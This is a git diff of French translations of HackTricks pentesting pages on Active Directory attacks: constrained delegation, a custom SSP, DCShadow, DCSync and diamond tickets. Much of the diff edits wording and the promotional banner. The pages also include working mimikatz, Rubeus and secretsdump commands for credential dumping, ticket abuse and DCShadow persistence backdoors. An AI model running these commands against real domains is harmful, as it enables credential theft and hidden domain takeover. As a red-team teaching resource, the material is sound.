+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/windows-hardening/active-directory-methodology/constrained-delegation.md b/windows-hardening/active-directory-methodology/constrained-delegation.md index 15d5abe9f..672edbe52 100644 --- a/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -1,35 +1,35 @@ -# Delegation restreinte +# Délégation restreinte
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe télégramme**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-## Delegation restreinte +## Délégation restreinte -En utilisant cela, un administrateur de domaine peut **autoriser** un ordinateur à **usurper l'identité d'un utilisateur ou d'un ordinateur** contre un **service** d'une machine. +En utilisant cela, un administrateur de domaine peut **autoriser** un ordinateur à **usurper l'identité d'un utilisateur ou d'un ordinateur** contre un **service** d'une machine. -* **Service pour l'utilisateur lui-même (**_**S4U2self**_**):** Si un **compte de service** a une valeur _userAccountControl_ contenant [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), alors il peut obtenir un TGS pour lui-même (le service) au nom de tout autre utilisateur. -* **Service pour l'utilisateur à des fins de délégation (**_**S4U2proxy**_**):** Un **compte de service** pourrait obtenir un TGS au nom de n'importe quel utilisateur pour le service défini dans **msDS-AllowedToDelegateTo.** Pour ce faire, il a d'abord besoin d'un TGS de cet utilisateur vers lui-même, mais il peut utiliser S4U2self pour obtenir ce TGS avant de demander l'autre. +* **Service pour l'utilisateur lui-même (**_**S4U2self**_**):** Si un **compte de service** a une valeur _userAccountControl_ contenant [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), alors il peut obtenir un TGS pour lui-même (le service) au nom de tout autre utilisateur. +* **Service pour l'utilisateur à des fins de mandataire(**_**S4U2proxy**_**):** Un **compte de service** pourrait obtenir un TGS au nom de n'importe quel utilisateur pour le service défini dans **msDS-AllowedToDelegateTo.** Pour ce faire, il a d'abord besoin d'un TGS de cet utilisateur vers lui-même, mais il peut utiliser S4U2self pour obtenir ce TGS avant de demander l'autre. -**Remarque** : Si un utilisateur est marqué comme "_Le compte est sensible et ne peut pas être délégué_" dans AD, vous ne pourrez **pas usurper** leur identité. +**Remarque** : Si un utilisateur est marqué comme «_Le compte est sensible et ne peut pas être délégué_» dans AD, vous ne pourrez **pas usurper** leur identité. -Cela signifie que si vous **compromettez le hachage du service**, vous pouvez **usurper des utilisateurs** et obtenir **l'accès** en leur nom au **service configuré** (possible **élévation de privilèges**). +Cela signifie que si vous **compromettez le hash du service**, vous pouvez **usurper des utilisateurs** et obtenir **l'accès** en leur nom au **service configuré** (possible **élévation de privilèges**). -De plus, vous **n'aurez pas seulement accès au service que l'utilisateur peut usurper, mais aussi à n'importe quel service** car le SPN (le nom du service demandé) n'est pas vérifié, seules les autorisations le sont. Par conséquent, si vous avez accès au **service CIFS**, vous pouvez également accéder au **service HOST** en utilisant le drapeau `/altservice` dans Rubeus. +De plus, vous **n'aurez pas seulement accès au service que l'utilisateur peut usurper, mais aussi à n'importe quel service** car le SPN (le nom du service demandé) n'est pas vérifié, seules les autorisations le sont. Par conséquent, si vous avez accès au **service CIFS**, vous pouvez également accéder au **service HOST** en utilisant le drapeau `/altservice` dans Rubeus. -De plus, l'accès au **service LDAP sur le DC** est nécessaire pour exploiter un **DCSync**. +De plus, l'**accès au service LDAP sur le DC** est nécessaire pour exploiter un **DCSync**. -{% code title="Énumérer" %} +{% code title="Énumérer" %} ```bash # Powerview Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto @@ -62,7 +62,7 @@ tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140 {% endcode %} {% hint style="warning" %} -Il existe d'autres moyens d'obtenir un ticket TGT ou le RC4 ou AES256 sans être SYSTEM sur l'ordinateur, comme le bug de l'imprimante et la délégation non contrainte, le relais NTLM et l'abus de service de certificats Active Directory. +Il existe d'autres moyens d'obtenir un ticket TGT ou le RC4 ou AES256 sans être en SYSTEM sur l'ordinateur, comme le bug de l'imprimante et la délégation non contrainte, le relais NTLM et l'abus du service de certificats Active Directory. **En ayant simplement ce ticket TGT (ou haché), vous pouvez effectuer cette attaque sans compromettre tout l'ordinateur.** {% endhint %} @@ -103,14 +103,14 @@ Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/windows-hardening/active-directory-methodology/custom-ssp.md b/windows-hardening/active-directory-methodology/custom-ssp.md index 0a1b7c2ee..a0585ae27 100644 --- a/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/windows-hardening/active-directory-methodology/custom-ssp.md @@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -31,7 +31,9 @@ PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packag HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` -Ajoutez `mimilib.dll` à la liste des fournisseurs de support de sécurité (packages de sécurité) : +{% endcode %} + +Ajoutez `mimilib.dll` à la liste des fournisseurs de support de sécurité (Security Packages): ```powershell reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` diff --git a/windows-hardening/active-directory-methodology/dcshadow.md b/windows-hardening/active-directory-methodology/dcshadow.md index 19617be9b..87cf87186 100644 --- a/windows-hardening/active-directory-methodology/dcshadow.md +++ b/windows-hardening/active-directory-methodology/dcshadow.md @@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -15,8 +15,8 @@ Autres façons de soutenir HackTricks : # DCShadow -Il enregistre un **nouveau contrôleur de domaine** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **journaux** concernant les **modifications**. Vous avez besoin de privilèges DA et devez être dans le **domaine racine**.\ -Notez que si vous utilisez de mauvaises données, des journaux assez laids apparaîtront. +Il enregistre un **nouveau contrôleur de domaine** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous avez besoin de privilèges DA et devez être dans le **domaine racine**.\ +Notez que si vous utilisez de mauvaises données, des logs assez laids apparaîtront. Pour effectuer l'attaque, vous avez besoin de 2 instances de mimikatz. L'une d'elles démarrera les serveurs RPC avec des privilèges SYSTEM (vous devez indiquer ici les modifications que vous souhaitez effectuer), et l'autre instance sera utilisée pour pousser les valeurs : @@ -43,7 +43,7 @@ Vous pouvez pousser les modifications à partir d'un DA ou d'un utilisateur avec * _DS-Install-Replica_ (Ajouter/Supprimer une réplique dans le domaine) * _DS-Replication-Manage-Topology_ (Gérer la topologie de réplication) * _DS-Replication-Synchronize_ (Synchronisation de réplication) -* L'**objet Sites** (et ses enfants) dans le **conteneur Configuration**: +* L'objet des **Sites** (et ses enfants) dans le **conteneur de configuration**: * _CreateChild et DeleteChild_ * L'objet de l'**ordinateur enregistré en tant que DC**: * _WriteProperty_ (Pas Write) @@ -51,7 +51,7 @@ Vous pouvez pousser les modifications à partir d'un DA ou d'un utilisateur avec * _WriteProperty_ (Pas Write) Vous pouvez utiliser [**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1) pour donner ces privilèges à un utilisateur non privilégié (notez que cela laissera des journaux). C'est beaucoup plus restrictif que d'avoir des privilèges DA.\ -Par exemple: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -NomUtilisateur student1 -Verbose` Cela signifie que le nom d'utilisateur _**student1**_ lorsqu'il est connecté à la machine _**mcorp-student1**_ a des autorisations DCShadow sur l'objet _**root1user**_. +Par exemple: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` Cela signifie que le nom d'utilisateur _**student1**_ lorsqu'il est connecté à la machine _**mcorp-student1**_ a des autorisations DCShadow sur l'objet _**root1user**_. ## Utilisation de DCShadow pour créer des portes dérobées @@ -65,7 +65,9 @@ lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-28053487 ```bash lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519 ``` -{% code title="Modifier ntSecurityDescriptor d'AdminSDHolder (donner le contrôle total à un utilisateur)" %} +{% endcode %} + +{% code title="Modifier ntSecurityDescriptor d'AdminSDHolder (accorder le contrôle total à un utilisateur)" %} ```bash #First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519 (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl @@ -74,21 +76,21 @@ lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attr ``` {% endcode %} -## Ombreception - Donner des autorisations DCShadow en utilisant DCShadow (pas de journaux de permissions modifiés) +## Ombreception - Donner des autorisations DCShadow en utilisant DCShadow (pas de journaux de modifications des autorisations) Nous devons ajouter les ACE suivants avec le SID de notre utilisateur à la fin : * Sur l'objet de domaine : -* `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` -* `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` -* `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` + * `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` + * `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` + * `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` * Sur l'objet ordinateur de l'attaquant : `(A;;WP;;;UserSID)` * Sur l'objet utilisateur cible : `(A;;WP;;;UserSID)` * Sur l'objet Sites dans le conteneur Configuration : `(A;CI;CCDC;;;UserSID)` Pour obtenir l'ACE actuel d'un objet : `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` -Remarquez que dans ce cas, vous devez apporter **plusieurs modifications,** pas seulement une. Ainsi, dans la session **mimikatz1** (serveur RPC), utilisez le paramètre **`/stack` avec chaque modification** que vous souhaitez apporter. De cette manière, vous n'aurez besoin de faire un seul **`/push`** pour effectuer toutes les modifications empilées sur le serveur malveillant. +Remarquez que dans ce cas, vous devez apporter **plusieurs modifications,** pas seulement une. Ainsi, dans la session **mimikatz1** (serveur RPC), utilisez le paramètre **`/stack` avec chaque modification** que vous souhaitez apporter. De cette manière, vous n'aurez besoin de faire un seul **`/push`** pour effectuer toutes les modifications en attente sur le serveur malveillant. @@ -104,7 +106,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/dcsync.md b/windows-hardening/active-directory-methodology/dcsync.md index f6a7d6403..9dc24f47f 100644 --- a/windows-hardening/active-directory-methodology/dcsync.md +++ b/windows-hardening/active-directory-methodology/dcsync.md @@ -10,14 +10,14 @@ Accédez dès aujourd'hui :
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -28,7 +28,7 @@ La permission **DCSync** implique d'avoir ces autorisations sur le domaine lui-m **Notes importantes sur DCSync :** -* L'attaque **DCSync simule le comportement d'un contrôleur de domaine et demande à d'autres contrôleurs de domaine de répliquer des informations** en utilisant le protocole distant de service de réplication de répertoire (MS-DRSR). Comme MS-DRSR est une fonction valide et nécessaire de l'Active Directory, il ne peut pas être désactivé. +* L'attaque **DCSync simule le comportement d'un contrôleur de domaine et demande à d'autres contrôleurs de domaine de répliquer des informations** en utilisant le protocole distant de service de réplication de répertoire (MS-DRSR). Comme MS-DRSR est une fonction valide et nécessaire de l'Active Directory, il ne peut pas être désactivé ou désactivé. * Par défaut, seuls les groupes **Domain Admins, Enterprise Admins, Administrateurs et Contrôleurs de domaine** ont les privilèges requis. * Si des mots de passe de compte sont stockés avec un chiffrement réversible, une option est disponible dans Mimikatz pour renvoyer le mot de passe en clair @@ -53,7 +53,7 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes * un avec les **hachages NTLM** * un avec les **clés Kerberos** -* un avec les mots de passe en clair de la base de données NTDS pour les comptes configurés avec le [**chiffrement réversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) activé. Vous pouvez obtenir les utilisateurs avec un chiffrement réversible avec +* un avec les mots de passe en clair de la base de données NTDS pour les comptes configurés avec le [**chiffrement réversible**](https://docs.microsoft.com/fr-fr/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) activé. Vous pouvez obtenir les utilisateurs avec un chiffrement réversible en utilisant ```powershell Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol @@ -65,7 +65,7 @@ Si vous êtes un administrateur de domaine, vous pouvez accorder ces autorisatio ```powershell Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` -Ensuite, vous pouvez **vérifier si l'utilisateur a été correctement attribué** les 3 privilèges en les recherchant dans la sortie de (vous devriez pouvoir voir les noms des privilèges dans le champ "ObjectType") : +Ensuite, vous pouvez **vérifier si l'utilisateur a été correctement attribué** les 3 privilèges en les recherchant dans la sortie de (vous devriez pouvoir voir les noms des privilèges à l'intérieur du champ "ObjectType") : ```powershell Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` @@ -90,7 +90,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/diamond-ticket.md b/windows-hardening/active-directory-methodology/diamond-ticket.md index 907221d59..b5919b370 100644 --- a/windows-hardening/active-directory-methodology/diamond-ticket.md +++ b/windows-hardening/active-directory-methodology/diamond-ticket.md @@ -1,4 +1,4 @@ -# Ticket Diamond +# Billet Diamond
@@ -9,24 +9,24 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-## Ticket Diamond +## Billet Diamond -**Comme un ticket en or**, un ticket diamond est un TGT qui peut être utilisé pour **accéder à n'importe quel service en tant que n'importe quel utilisateur**. Un ticket en or est forgé entièrement hors ligne, chiffré avec le hachage krbtgt de ce domaine, puis passé dans une session de connexion pour être utilisé. Parce que les contrôleurs de domaine ne suivent pas les TGT qu'ils ont émis légitimement, ils accepteront volontiers les TGT qui sont chiffrés avec leur propre hachage krbtgt. +**Comme un billet d'or**, un billet diamond est un TGT qui peut être utilisé pour **accéder à n'importe quel service en tant que n'importe quel utilisateur**. Un billet d'or est forgé entièrement hors ligne, chiffré avec le hachage krbtgt de ce domaine, puis passé dans une session de connexion pour être utilisé. Parce que les contrôleurs de domaine ne suivent pas les TGT qu'ils ont légitimement émis, ils accepteront volontiers les TGT chiffrés avec leur propre hachage krbtgt. -Il existe deux techniques courantes pour détecter l'utilisation de tickets en or : +Il existe deux techniques courantes pour détecter l'utilisation de billets d'or : -* Recherchez des TGS-REQs qui n'ont pas de AS-REQ correspondant. -* Recherchez des TGTs qui ont des valeurs ridicules, telles que la durée de vie par défaut de 10 ans de Mimikatz. +* Recherchez les TGS-REQs qui n'ont pas de AS-REQ correspondant. +* Recherchez les TGT qui ont des valeurs ridicules, telles que la durée de vie par défaut de 10 ans de Mimikatz. -Un **ticket diamond** est créé en **modifiant les champs d'un TGT légitime qui a été émis par un DC**. Cela est réalisé en **demandant** un **TGT**, en le **déchiffrant** avec le hachage krbtgt du domaine, en **modifiant** les champs souhaités du ticket, puis en le **re-chiffrant**. Cela **surmonte les deux lacunes mentionnées précédemment** d'un ticket en or car : +Un **billet diamond** est créé en **modifiant les champs d'un TGT légitime qui a été émis par un DC**. Cela est réalisé en **demandant** un **TGT**, en le **déchiffrant** avec le hachage krbtgt du domaine, en **modifiant** les champs souhaités du billet, puis en le **re-chiffrant**. Cela **surmonte les deux lacunes mentionnées précédemment** d'un billet d'or car : * Les TGS-REQs auront un AS-REQ précédent. -* Le TGT a été émis par un DC, ce qui signifie qu'il aura tous les détails corrects de la politique Kerberos du domaine. Même si ceux-ci peuvent être forgés avec précision dans un ticket en or, c'est plus complexe et sujet aux erreurs. +* Le TGT a été émis par un DC, ce qui signifie qu'il aura tous les détails corrects de la politique Kerberos du domaine. Même si ceux-ci peuvent être précisément contrefaits dans un billet d'or, c'est plus complexe et sujet aux erreurs. ```bash # Get user RID powershell Get-DomainUser -Identity -Properties objectsid @@ -43,12 +43,12 @@ powershell Get-DomainUser -Identity -Properties objectsid Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -D'autres façons de soutenir HackTricks : +D'autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/dsrm-credentials.md b/windows-hardening/active-directory-methodology/dsrm-credentials.md index 5c71d7b3e..6b17c787c 100644 --- a/windows-hardening/active-directory-methodology/dsrm-credentials.md +++ b/windows-hardening/active-directory-methodology/dsrm-credentials.md @@ -1,32 +1,32 @@
